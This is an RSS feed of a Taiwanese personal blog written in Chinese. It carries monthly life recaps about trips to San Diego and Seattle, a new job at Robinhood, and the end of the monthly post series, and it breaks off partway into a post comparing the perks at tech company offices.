<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Tomy Hsieh on Tomy's Blog</title><link>https://blog.tomy.me/zh-tw/</link><description>Tomy Hsieh 的奇幻部落</description><language>zh-Hant</language><copyright>Copyright © 2022 Tomy Hsieh.</copyright><pubDate>Thu, 04 Aug 2022 06:25:42 +0800</pubDate><lastBuildDate>Fri, 27 Mar 2026 04:54:41 +0000</lastBuildDate><category>🍫 生活</category><category>📱 科技</category><category>🤖 開發</category><generator>Hugo -- gohugo.io (customized by tomy0000000)</generator><docs>https://www.rssboard.org/rss-specification</docs><ttl>60</ttl><atom:link href="https://blog.tomy.me/zh-tw/index.xml" rel="self" type="application/rss+xml"/><item><title>2025 年 12 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-december-dump/</link><description>到這裡就可以了</description><content:encoded><![CDATA[<p>不知不覺一年又過了吶&hellip;&hellip;。這個月雖然因為新工作，多了很多要適應的新狀態，但日子還是要好好過！</p>
<h2 id="-san-diego" class="relative group">🌴 San Diego </h2><p>雖然上個月已經去了不少地方，但因為之前聯合航空的帳戶裡還有一些餘額會在年底到期，想說就來安排一個簡單的週末小旅行。攤開 United 從 SFO 有直飛的短程航點裡，又還沒去過的，就屬 San Diego 最適合了吧！</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-december-dump/gaslamo-quarter.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="夜晚的聖地牙哥 Gaslamp Quarter 拱門招牌，街道燈光明亮"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-december-dump/bruschetta-at-romanissimo.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="餐桌上的義式烤麵包片，上面鋪著起司與香草，背景有調酒與水杯"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">在 Gaslamo Quarter 的一間義大利餐廳吃到了此生至今吃過最好吃的 Bruschetta！<br/>覺得下次再來 San Diego 可能會為了這個 Bruschetta 再訪這間餐廳</figcaption>



<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-december-dump/tacos-el-gordo.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tacos El Gordo 點餐櫃檯，牆上掛著大型菜單與價格"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-december-dump/tacos-with-akilesh.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Akilesh 坐在餐廳桌前，桌上擺著墨西哥捲餅與薯條"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">San Diego 畢竟都是半個墨西哥了，當然還是要吃一下 Taco，順便見見 MSE 的老朋友 Akilesh！</figcaption>

<p>這趟沒有租車，基本上都是在市區附近逛，但是我很喜歡不管是在舊城區還是 Balboa Park 裡散發的摩登中帶有一點拉丁美洲的文化氣息，下次來說不定可以再往北邊看看 UCSD 或甚至往南去 Tijuana 闖闖。</p>
<h2 id="-stranger-things-5" class="relative group">👾 Stranger Things 5 </h2><p>今年的聖誕節和跨年是安靜的在家看 Netflix！是我<a href="/zh-tw/posts/2025-august-dump/#-電視劇">期待已久</a>的《怪奇物語》的最後一季，Netflix 把最後一季分為三個日期上架，第一部分在感恩節，第二部分在聖誕節，最後在跨年夜上架加長版的最後一集。除此之外，在某些地區只要支付 $20 的餐券，就可以免費進電影院觀看，Netflix 沒有另外向電影院收播映授權費。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-december-dump/stranger-things-finale-at-amc.webp"
      class="mx-auto my-0 rounded-md"
      alt="電影院走廊牆上的《怪奇物語》最終季宣傳海報，前方放著食物與醬料"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">餐券買了雞塊和起司條，還特地從辦公室ㄎㄧㄤ了一瓶 Root beer 嘻嘻</figcaption>
</figure>
</p>
<p>這次看的是晚上 10:30 開演的場次，加上前面 30 分鐘的廣告，跨年的那一刻應該差不多剛好是<span style="filter: blur(5px); cursor: pointer;" onclick="this.style.filter = this.style.filter ? '' : 'blur(5px)'">Vecna 人頭落地</span>的時候吧 (?)</p>
<p>總之比起自己一個人在家看，有一群人一起情緒此起彼落，還是一個蠻酷的體驗。而大結局也沒有令我失望，在各個劇情線都做了不錯的收尾，總結這齣十年大戲，我願封它為 Gen Z 世代的《哈利波特》。</p>
<h2 id="-值得一提的酷東西" class="relative group">✨ 值得一提的酷東西 </h2><ul>
<li>🎥 Now You See Me: Now You Don’t | 出神入化 3：經典魔術電影的第三集，有點為拍而拍的感覺，普普。</li>
<li>🎥 Eternity | 換乘真愛：相當有趣的劇本設定，鏡頭色彩與運鏡輕鬆奇幻，但我私心認為結局落於俗套，有點可惜。</li>
<li>🎙️ <a href="https://www.hasanhatesronny.com/" target="_blank" rel="noreferrer">Hasan Hates Ronny | Ronny Hates Hasan<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：兩個在美國長大的二代移民喜劇演員，同時也是螢幕宿敵，這個巡演的主題就是兩個人在台上互相 roast 對方，同時挖苦美國移民的各種議題，感覺之後有機會看到這個表演上架 Netflix，有興趣的人可以關注一下。</li>
<li>📹 <a href="https://youtu.be/dscCK8v9jmI" target="_blank" rel="noreferrer">A 計劃 偉大故事的第一步<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：雖然是 1 月才發的片，但太屌了決定破例分享一下，推薦看完之後可以在滑一下留言區還有 Threads 上討論的文，有很多這部片在細節值得深思的地方。</li>
</ul>
<h2 id="-報報公告" class="relative group">📰 報報公告！！ </h2><p>從 2023 年 1 月到這篇文，剛好是整整三年，共 36 篇報報，記載了我在來美國之前在台灣度過的最後的好 (?) 日子，還有來美國之後的各種體驗，以及心境上的轉變。報報不只讓我獲得回顧審視自己生活的機會，公開每月目標也或多或少成為了推自己去追求改變的方式。現在回頭看看之前寫的這些報報，依舊是餘韻猶存。</p>
<p>但在過去的幾個月，寫報報這件事漸漸變成：把照片翻出來寫一篇看圖說故事的「月記」，用來昭告天下：我這個月過的很精彩。目標也漸漸變的像在「交差」，好像自己說服自己做了些什麼，卻鮮少因為達成目標而帶來任何實質上的改變。最終看起來更像是在炫耀經常出去玩，結果照片拍的既沒有網美網帥發的好看，也沒有提供有意義的觀點或實用的資訊，倒是製造了不少生存焦慮。</p>
<p>這個部落格的誕生，始於一個簡單的想法——傳承經驗和想法，不管是給我自己，給我身邊的人，或甚至是網路上的陌生人。想法一直都有，但在建立的初期，我並沒有豐富的寫作經驗或動力，去驅動整個部落格，於是才有了報報的構想：先藉由每個月的生活經驗總結，來啟發更多我認為值得分享，且有價值的觀點。</p>
<p>在過去的這兩三年，我陸續蒐集了不少想寫，但找不到機會可以寫的主題。而這也是我時不時就會訂下「除了報報再寫一篇文」這個目標的原因。在每個月寫作時間有限的前提下，報報的存在，本來就或多或少會限縮到寫其他文章的時間和精力。</p>
<p>雖然過去曾經多次<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>的想要改版報報，但我想更最效的做法還是先暫時向它告別吧！</p>
<p>所以這會是最後一篇每月發布的報報！從 2026 年開始，我依舊會維持大約每個月一篇文的方式，在這個部落格分享我覺得有意思的主題。</p>
<p>感謝各位這些年來對報報的收看與支持！如果有緣分的話，報報或許會再以不一樣的形式與大家見面！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>比方說 <a href="/zh-tw/posts/2024-outlooks/#-寫作">2024 年初</a>，還有 <a href="%28/zh-tw/posts/2025-outlooks/#-報報-20%29">2025 年初</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-december-dump</guid><pubDate>Mon, 19 Jan 2026 21:45:08 -0800</pubDate></item><item><title>2025 年 11 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-november-dump/</link><description>Let that sink in.</description><content:encoded><![CDATA[<p>繼上個月離職後，原本以為 11 月會有很多時間可以用來做些大事，結果本能驅使還是出去玩的比較多 (?)</p>
<h2 id="-西雅圖" class="relative group">☕️ 西雅圖 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/seattle-street.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="秋天的西雅圖街道，兩旁行道樹轉為黃綠色，車流行駛在濕潤路面上"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/seattle-city-view.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="從高樓俯瞰西雅圖市中心，前景是高樓街廓，右下角可見玻璃圓頂建築"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">西雅圖是我私心認為美國西岸最有「大都市感」的城市。<br/>再加上陰陰的天空，飄點小雨，是今年少數有覺得過到冬天的日子</figcaption>

<p>這旅行其實半年前就排好了，主要有 3 個行程：</p>
<ul>
<li>看一場秀</li>
<li>來見一見在西雅圖的朋友們</li>
<li>去參觀一下星巴克的 Reserve Roastery 烘豆工廠、還有創始店</li>
</ul>
<p>結果真的去了以後：</p>
<ul>
<li>秀延期到明年 2 月</li>
<li>原本想約的朋友其中兩個因為萬聖節也飛出去玩了</li>
<li>星巴克宣布<a href="https://www.businessinsider.com/seattle-capitol-hill-starbucks-reserve-roastery-iconic-store-closing-2025-9" target="_blank" rel="noreferrer">西雅圖 Reserve Roastery 永久關閉<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
<p>真的是很棒欸雅圖：）</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/dinner-with-seattle-gang.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="多人圍坐在木桌旁用餐，桌上有麵包、飲料與餐具，室內燈光溫暖"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/tomy-with-seattle-friends.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="四人在建築入口前自拍合照，背景有亮著的 OPEN 招牌與日光照射"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">但還是有跟一些久違沒見到的朋友吃到飯，甚至跟在部落格留言的讀者 Eric 線下奔現 (???) <br/>真的是從來沒有想過可以靠寫部落格交到新朋友 (?)</figcaption>

<p>在這裡特別感謝借我 couch surfing 的 Lear 跟 Mimi！</p>
<h2 id="-california-zephyr" class="relative group">🚂 California Zephyr </h2><p>西雅圖回來之後非常臨時的安排了一趟火車旅行。是一條小時候就知道，來美國之後想很久，但一直沒找到時間成行的火車路線—— California Zephyr，趁著現在放長假就火速安排成行了！詳細內容在另一篇<a href="/zh-tw/posts/california-zephyr/">文章</a>裡，有興趣的可以去看看！</p>
<h2 id="-辦公室巡迴" class="relative group">🏢 辦公室巡迴 </h2><p>火車之旅一回來緊接的是科技業辦公室巡迴！老樣子，有興趣請移駕<a href="/zh-tw/posts/tech-office-tour-2025/">這裡</a>看看。</p>
<h2 id="-其他值得-highlight-的生活碎片" class="relative group">✨ 其他值得 Highlight 的生活碎片 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/choowons-birthday-dinner.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tomy 與朋友在餐廳圓桌前合影，桌上擺著牛排、香檳與共享餐點，窗外是夜晚街景"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/gingerbread-house.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="桌上擺放完成的薑餅屋，屋頂與牆面以糖霜與彩色糖果裝飾"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">ChooWon 的生日派對！還有在 Lenka 家裝飾薑餅屋，發現拍的比實際上好看欸哈哈哈哈</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/thanksgiving-party-with-mse.webp"
      class="mx-auto my-0 rounded-md"
      alt="多人在室內聖誕樹旁合影，樹上掛滿彩色燈飾，氣氛溫馨"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">去 Shreya 哥哥家感恩節派對！<br/>結果煙霧機不小心觸發煙霧警報，整棟樓的人都跑出來看 😂😂</figcaption>
</figure>
</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-把現在在看的書看完" class="relative group">❌ 把現在在看的書看完 </h3><p>原本以為三天兩夜沒有網路的火車之旅應該會有非常充分的時間讓我把它看完，雖然還是有不小的進展，但還是花了不少的時間在補眠還有看星際大戰 XDDDD</p>
<h3 id="-設定好定期定額自動存股" class="relative group">✅ 設定好定期定額自動存股 </h3><p>不太確定我目前的標的和方式到底好不好，但總是聊勝於無，先讓子彈飛一會，之後再慢慢修正吧。</p>
<h3 id="-清理一下音樂資料庫" class="relative group">🟡 清理一下音樂資料庫 </h3><p>整理到一半腦洞大開，決定跳槽 Apple Music，失敗之後誕生了<a href="/zh-tw/posts/streaming-services-2025/">這篇文</a>，就當作完成一半吧。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>12 月都快過完了才有這篇文，那就 skip 一次吧，整理一下今年狀態，明年再重新出發吧！</p>
<h2 id="-新工作" class="relative group">🪶 新工作 </h2><p>最後是本月的大新聞：</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-november-dump/robinhood-front-wall.webp"
      class="mx-auto my-0 rounded-md"
      alt="Robinhood 辦公室內牆面，綠色 Robinhood 標誌旁放置聖誕樹與捐贈箱"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">入職 Robinhood！</figcaption>
</figure>
</p>
<p>從投履歷、面試、Team Matching 再到正式入職應該剛好超過一年多一點，是個很漫長的故事，有些朋友應該或多或少聽過這個故事的某部份，如果你覺得漏了哪個部份想要補進度的話，歡迎私下約我聊 XDDDD</p>
<p>至於這個故事會不會變成一篇文&hellip;&hellip;hmmmmmm 如果我跨年隔天沒事做的話再考慮一下哈哈哈哈</p>
<p>由於我還沒完全釐清我能在公開網路的環境中談論多少或哪些內容，就不特別介紹這間公司了，有興趣的人只能麻煩自己 Google 或問一下 AI 了。</p>
<p>總之人生在有驚無險的旅程中又翻了一頁，真是可喜可賀！</p>
<hr>
<p>好久沒有分享 Reddit 上的獵奇文，這個月就用這句語錄作結吧！</p>

<blockquote class="reddit-embed-bq">
<a href="https://www.reddit.com/r/Showerthoughts/comments/1csk0np/life_is_a_dick_it_randomly_gets_hard_but_it_never/">Life is a dick, it randomly gets hard but it never stays hard forever. </a><br> by
<a href="https://www.reddit.com/user/NewProtogen/">u/NewProtogen</a> in
<a href="https://www.reddit.com/r/Showerthoughts/">Showerthoughts</a>
</blockquote>
<script async src="https://embed.reddit.com/widgets.js" charset="UTF-8"></script>
<blockquote>
<p>人生就像屌，有時候會隨便的硬起來，但不會永遠都是硬的。</p>
</blockquote>
<p>太貼切了 👌🏻</p>
<p>12 月報報大概是會拖到 1 月才生出來，那就先在這裡祝大家佳節愉快！新年快樂！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-november-dump</guid><pubDate>Sun, 28 Dec 2025 16:19:52 -0800</pubDate></item><item><title>2025 科技業辦公室巡迴</title><link>https://blog.tomy.me/zh-tw/posts/tech-office-tour-2025/</link><description>牛馬終究還是牛馬，馬廄能有什麼區別</description><content:encoded><![CDATA[<p>之前在 WeRide 的時候，公司規定每天都要進辦公室上班，就一直沒什麼機會去參觀其他的辦公室，剛好趁現在時間特別多，就約了好多朋友去參觀不同科技公司的辦公室！</p>
<h2 id="glossary" class="relative group">Glossary </h2><p>簡單整理了一個表格，包含幾個我重點關注的面向：</p>
<ul>
<li>午餐：自助餐的選擇通常比較少，比較大的辦公室或園區通常會有美食街，選項會比較多元</li>
<li>咖啡：大部分辦公室的最低標準就是一般的咖啡機，但有的辦公室會有咖啡師駐點，而且有的還會在不同季節推出限定飲料，跟星巴克有得比</li>
<li>零食健康度：可以悄悄看出公司在健康的價值觀，注重健康的可能會有無糖茶、能量棒，相對的就是比較不健康的可樂、巧克力</li>
</ul>
<table>
  <thead>
      <tr>
          <th>公司</th>
          <th>地點</th>
          <th>午餐</th>
          <th>咖啡</th>
          <th>零食健康度</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Uber</td>
          <td><a href="https://maps.app.goo.gl/pSUdbBPWDym356917" target="_blank" rel="noreferrer">Seattle, WA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>免費自助餐</td>
          <td>咖啡機</td>
          <td>5</td>
      </tr>
      <tr>
          <td>Microsoft</td>
          <td>🌟 <a href="https://maps.app.goo.gl/a5TjfPxbSzYsy5pY6" target="_blank" rel="noreferrer">Redmond, WA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>員工價美食街</td>
          <td>咖啡師駐點</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Amazon</td>
          <td>🌟 <a href="https://maps.app.goo.gl/a6CKYMZK5bLhrXzY7" target="_blank" rel="noreferrer">Seattle, WA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>員工價美食街</td>
          <td>咖啡師駐點，每日 1 杯免費</td>
          <td>N/A<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></td>
      </tr>
      <tr>
          <td>Uber</td>
          <td>🌟 <a href="https://maps.app.goo.gl/buEKR2oPvR1eBeJ18" target="_blank" rel="noreferrer">San Francisco, CA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>免費美食街</td>
          <td>咖啡師駐點，免費</td>
          <td>5</td>
      </tr>
      <tr>
          <td>Meta</td>
          <td>🌟 <a href="https://maps.app.goo.gl/iL87VyP5zX9kc2Ah8" target="_blank" rel="noreferrer">Menlo Park, CA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>免費美食街</td>
          <td>咖啡師駐點</td>
          <td>3</td>
      </tr>
      <tr>
          <td>Google</td>
          <td><a href="https://maps.app.goo.gl/jE3yuEGjM9g5yexS8" target="_blank" rel="noreferrer">San Jose, CA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>免費美食街</td>
          <td>咖啡師駐點，免費</td>
          <td>2</td>
      </tr>
      <tr>
          <td>Adobe</td>
          <td>🌟 <a href="https://maps.app.goo.gl/NNoPqPTVsqPngXkB8" target="_blank" rel="noreferrer">San Jose, CA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>員工價美食街</td>
          <td>咖啡師駐點</td>
          <td>3</td>
      </tr>
      <tr>
          <td>Netflix</td>
          <td>🌟 <a href="https://maps.app.goo.gl/NoBo1i5yEvVAqPmT7" target="_blank" rel="noreferrer">Los Gatos, CA<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></td>
          <td>免費美食街</td>
          <td>咖啡機</td>
          <td>3</td>
      </tr>
  </tbody>
</table>
<figcaption class="text-center">🌟 = <abbr title="Headquarter">HQ</abbr></figcaption>
<h2 id="供餐" class="relative group">供餐 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/tomy-with-ice-cream-macaron.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tomy 在街道上，手拿兩球冰淇淋甜筒（粉色與白色），上面插著綠色馬卡龍，背景是排隊人潮與甜點店招牌，整體氣氛輕鬆愉快。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/tech-office-tour-2025/tomy-at-amazon-sphere.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tomy 站在 Amazon The Spheres 的植物牆前，牆面佈滿綠色植栽並寫有「the spheres」字樣，呈現科技園區與自然融合的設計風格。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">Meta 的冰淇淋全都是訪客在排隊，根本沒有員工有閒工夫去排哈哈哈</figcaption>

